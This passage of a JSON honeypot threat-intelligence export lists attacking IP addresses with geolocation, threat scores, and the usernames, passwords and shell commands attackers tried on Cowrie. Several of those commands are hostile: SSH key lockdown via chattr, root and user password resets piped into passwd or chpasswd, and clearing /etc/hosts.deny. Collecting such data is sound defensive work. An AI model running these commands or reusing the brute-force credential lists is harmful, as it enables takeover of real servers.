      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T22:20:23.832000+00:00",
        "last_seen_30d": "2026-03-26T18:46:32.456000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 257,
        "Suricata": 37
      }
    },
    "159.223.37.230": {
      "attack_count": 256,
      "first_seen": "2026-03-21T03:55:19.375Z",
      "last_seen": "2026-03-21T04:17:02.646Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "search",
        "tanvir",
        "ubuntu",
        "deploy",
        "hasan",
        "toor",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "Aa@121212",
        "Password123",
        "Root111111",
        "asdfghjkl",
        "root@123",
        "tanvirpass",
        "toor123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nTHCTLZ1BDLoY\\nTHCTLZ1BDLoY\\n\"|passwd",
        "echo \"root:CBcLpanpFF9h\"|chpasswd|bash",
        "echo \"tanvirpass\\n1xJWTJHZAH6U\\n1xJWTJHZAH6U\\n\"|passwd",
        "echo -e \"1234\\nTHCTLZ1BDLoY\\nTHCTLZ1BDLoY\"|passwd|bash",
        "echo -e \"tanvirpass\\n1xJWTJHZAH6U\\n1xJWTJHZAH6U\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:55:19.375000+00:00",
        "last_seen_30d": "2026-03-21T04:18:04.187000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 256,
        "Suricata": 36
      }
    },
    "103.93.93.211": {
      "attack_count": 250,
      "first_seen": "2026-03-04T05:22:08.884Z",
      "last_seen": "2026-03-30T21:52:37.612Z",
      "sessions": 125,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 141140,
      "as_org": "PT Jinde Grup Indonesia",
      "threat_score": 74.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.8,
        "persistence": 22.5,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 480,
        "days_active_30d": 27,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T05:22:08.884000+00:00",
        "last_seen_30d": "2026-03-30T21:53:37.940000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 250,
        "Suricata": 187,
        "Honeytrap": 42,
        "Dionaea": 1
      }
    },
    "181.23.123.222": {
      "attack_count": 240,
      "first_seen": "2026-03-09T18:16:06.115Z",
      "last_seen": "2026-03-11T18:24:31.286Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user1",
        "azuracast",
        "botuser",
        "claude",
        "cvs",
        "dev1",
        "dp",
        "ghost",
        "kafka",
        "linux",
        "msf",
        "nuc",
        "root1",
        "testuser",
        "timemachine",
        "user8"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "123456",
        "Abc123!!!",
        "Botuser123",
        "Kafka123!",
        "Qwert!2345",
        "Server2026",
        "claude123",
        "cvs",
        "dp",
        "msfpass",
        "nucpass",
        "pass",
        "root1",
        "user8pass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\naE1EcHWo6E7M\\naE1EcHWo6E7M\\n\"|passwd",
        "echo \"root:JTGihTeOt2a8\"|chpasswd|bash",
        "echo -e \"123\\naE1EcHWo6E7M\\naE1EcHWo6E7M\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "La Plata",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 314,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T18:16:06.115000+00:00",
        "last_seen_30d": "2026-03-11T18:25:35.221000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 240,
        "Suricata": 74
      }
    },
    "216.180.127.201": {
      "attack_count": 213,
      "first_seen": "2026-03-23T10:04:18.274Z",
      "last_seen": "2026-03-26T15:07:43.171Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "intell",
        "ubuntu",
        "anders",
        "asdf",
        "bkp",
        "chat",
        "cristi",
        "db2admin",
        "dell",
        "kyle",
        "ll",
        "obc",
        "rootuser",
        "ryan",
        "sumit"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "12345678",
        "asdf123",
        "cristi1234",
        "db2adminpass",
        "dell123!",
        "intell123",
        "obcpass",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"11111111\\nuiMNkSkEbfqq\\nuiMNkSkEbfqq\\n\"|passwd",
        "echo \"intell123\\nDehk8qVXE3c6\\nDehk8qVXE3c6\\n\"|passwd",
        "echo -e \"11111111\\nuiMNkSkEbfqq\\nuiMNkSkEbfqq\"|passwd|bash",
        "echo -e \"intell123\\nDehk8qVXE3c6\\nDehk8qVXE3c6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 152586,
      "as_org": "Kuroit",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 257,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T10:04:18.274000+00:00",
        "last_seen_30d": "2026-03-26T15:08:52.454000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 213,
        "Suricata": 44
      }
    },
    "133.18.105.94": {
      "attack_count": 205,
      "first_seen": "2026-03-14T07:26:43.716Z",
      "last_seen": "2026-03-15T16:50:31.019Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "devuser",
        "marcelo",
        "zabbix",
        "amp",
        "applmgr",
        "ben",
        "deploy",
        "ghost",
        "jason1",
        "ll",
        "mm",
        "redhat",
        "rms",
        "valheim",
        "vscode",
        "zxy"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "20252025",
        "Amp123!",
        "Devuser123!",
        "Jason1123",
        "Test@12345",
        "Valheim123",
        "aa",
        "applmgr123",
        "ll",
        "passwd@123!",
        "password",
        "sb123456",
        "vscode",
        "zabbix123!",
        "zxy"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Devuser123!\\nOazhOtLIboMC\\nOazhOtLIboMC\\n\"|passwd",
        "echo -e \"Devuser123!\\nOazhOtLIboMC\\nOazhOtLIboMC\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Kyoto",
      "asn": 24282,
      "as_org": "KAGOYA JAPAN Inc.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 266,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T07:26:43.716000+00:00",
        "last_seen_30d": "2026-03-15T16:51:37.368000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 205,
        "Suricata": 61
      }
    },
    "109.91.4.177": {
      "attack_count": 188,
      "first_seen": "2026-03-21T11:02:10.022Z",
      "last_seen": "2026-03-21T11:19:58.575Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "arm",
        "reza",
        "root",
        "devman",
        "gits",
        "m",
        "nuc",
        "sm",
        "user10"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Aa_123456",
        "Arm123!",
        "Dev@123",
        "User10123!",
        "gits123",
        "nuc123",
        "sm123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\n8Qdkn1cW0JXA\\n8Qdkn1cW0JXA\\n\"|passwd",
        "echo \"Arm123!\\nh32K4PIUdGon\\nh32K4PIUdGon\\n\"|passwd",
        "echo -e \"123\\n8Qdkn1cW0JXA\\n8Qdkn1cW0JXA\"|passwd|bash",
        "echo -e \"Arm123!\\nh32K4PIUdGon\\nh32K4PIUdGon\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Haan",
      "asn": 3209,
      "as_org": "Vodafone GmbH",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T11:02:10.022000+00:00",
        "last_seen_30d": "2026-03-21T11:21:06.589000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "163.245.217.78": {
      "attack_count": 188,
      "first_seen": "2026-03-18T23:19:02.248Z",
      "last_seen": "2026-03-18T23:35:12.497Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "peter",
        "posiflex",
        "appuser",
        "asus",
        "edward",
        "gitlab",
        "mcserver",
        "mitra",
        "myadmin",
        "sdtd"
      ],
      "passwords_attempted": [
        "123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "edwardpass",
        "myadminpass",
        "peter123",
        "posiflexpass",
        "sdtd123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"peter123\\nQwULiRkAf9PD\\nQwULiRkAf9PD\\n\"|passwd",
        "echo \"posiflexpass\\nQsumWSJ1e9E5\\nQsumWSJ1e9E5\\n\"|passwd",
        "echo -e \"peter123\\nQwULiRkAf9PD\\nQwULiRkAf9PD\"|passwd|bash",
        "echo -e \"posiflexpass\\nQsumWSJ1e9E5\\nQsumWSJ1e9E5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 19318,
      "as_org": "Interserver, Inc",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T23:19:02.248000+00:00",
        "last_seen_30d": "2026-03-18T23:36:14.885000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 32
      }
    },
    "37.34.239.200": {
      "attack_count": 188,
      "first_seen": "2026-03-05T15:30:32.915Z",
      "last_seen": "2026-03-05T15:57:03.987Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "user",
        "root",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "A123456798",
        "AAA1234567890",
        "Aa#123456.",
        "Aa1231998",
        "Cc@123456",
        "P@ssword2024!",
        "a1234567",
        "a1234567t",
        "qwerty2025!",
        "ubuntu@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"AAA1234567890\\nZZjwDmyDlW0B\\nZZjwDmyDlW0B\\n\"|passwd",
        "echo \"P@ssword2024!\\nUwDrasnFMChN\\nUwDrasnFMChN\\n\"|passwd",
        "echo -e \"AAA1234567890\\nZZjwDmyDlW0B\\nZZjwDmyDlW0B\"|passwd|bash",
        "echo -e \"P@ssword2024!\\nUwDrasnFMChN\\nUwDrasnFMChN\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Kuwait",
      "country_code": "KW",
      "city": "Hawalli",
      "asn": 42961,
      "as_org": "Mobile Telecommunications Company K.S.C.P.",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:30:32.915000+00:00",
        "last_seen_30d": "2026-03-05T15:58:14.128000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 33
      }
    },
    "52.187.9.8": {
      "attack_count": 188,
      "first_seen": "2026-03-05T10:11:54.358Z",
      "last_seen": "2026-03-05T10:37:53.936Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "user",
        "345gs5662d34",
        "root",
        "admin",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123P@ssword",
        "A123456!A",
        "A1234567891011121314151617181920",
        "P@$$w0rd",
        "P@sssw0rd03",
        "Root@2024",
        "a0123456",
        "a1234567z",
        "aa123456..",
        "aa@2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"a1234567z\\nuDRwYPEmDnve\\nuDRwYPEmDnve\\n\"|passwd",
        "echo \"aa@2025\\nBxJIuVR6bo3v\\nBxJIuVR6bo3v\\n\"|passwd",
        "echo -e \"a1234567z\\nuDRwYPEmDnve\\nuDRwYPEmDnve\"|passwd|bash",
        "echo -e \"aa@2025\\nBxJIuVR6bo3v\\nBxJIuVR6bo3v\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T10:11:54.358000+00:00",
        "last_seen_30d": "2026-03-05T10:38:59.069000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 33
      }
    },
    "138.255.157.62": {
      "attack_count": 168,
      "first_seen": "2026-03-28T19:51:56.794Z",
      "last_seen": "2026-03-28T21:12:16.990Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456qQ",
        "1234Qwerty",
        "1234rewq!",
        "1q2w#e$r",
        "1q2w3e$r",
        "20250261",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa11",
        "Aa123456Aa",
        "Kk123456",
        "P@55w0rd1!",
        "P@ssw0rd.2024",
        "Qaz12345678@",
        "abc123,.",
        "firebird",
        "qwertyuiop@123",
        "rainbow1",
        "root12345678",
        "rootadmin"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:52380pqzjCx1\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Presidente Dutra",
      "asn": 263974,
      "as_org": "VELOX NET MA LTDA",
      "threat_score": 32.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 223,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T19:51:56.794000+00:00",
        "last_seen_30d": "2026-03-28T21:13:21.369000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 55
      }
    },
    "41.59.86.232": {
      "attack_count": 158,
      "first_seen": "2026-03-28T13:53:43.558Z",
      "last_seen": "2026-03-28T15:48:06.388Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1qaz@wsx2026",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12345!",
        "Ac.123456",
        "Root123456@",
        "admin123$%^",
        "amr",
        "hacktheplanet",
        "optimus1",
        "p@ssw0rd0",
        "pg.123456",
        "qwe123..00",
        "root@123123",
        "sh123",
        "vision",
        "xm@123456",
        "zxcv123$"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lNRsihjSU8Hw\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 32.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T13:53:43.558000+00:00",
        "last_seen_30d": "2026-03-28T15:49:09.251000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 63
      }
    },
    "142.93.131.44": {
      "attack_count": 136,
      "first_seen": "2026-03-11T07:06:10.802Z",
      "last_seen": "2026-03-11T07:56:59.016Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "solv",
        "ubuntu",
        "banxgg",
        "sol",
        "solana"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "solv",
        "12",
        "123",
        "123321",
        "1234",
        "12345",
        "123456.cn",
        "1234567",
        "123456789",
        "1234567890",
        "abc123",
        "banx",
        "banxgg",
        "qwerty1234",
        "sol",
        "solana",
        "solv123",
        "solv321"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
